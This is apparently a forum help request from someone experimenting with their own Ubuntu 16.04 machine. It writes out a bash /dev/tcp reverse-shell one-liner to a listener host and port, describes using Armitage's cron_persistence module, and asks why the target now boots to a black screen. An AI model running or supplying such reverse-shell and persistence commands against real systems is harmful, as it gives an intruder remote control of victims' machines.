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Not totally sure what I'm doing. I started a reverse shell on my ubuntu machine. 0<&96-;exec 96<>/dev/tcp/192.168.1.4/2222;sh <&96 >&96 2>&96 I get a file descriptor error when I run the command but it opens a shell and I can interact with the target system (Ubuntu 16.04 Desktop). When I use cron_persistence from armitage it seems to work fine. When I reboot the target it just black screens and never runs desktop. It's funny. I had been hacked running Ubuntu about a week ago but I figured that the attacker had intentionally PDOSed my system. It was probably accidental. Anybody have any idea what's going on here? What am I doing wrong with the shell and what do I do to fix the issue on the target machine?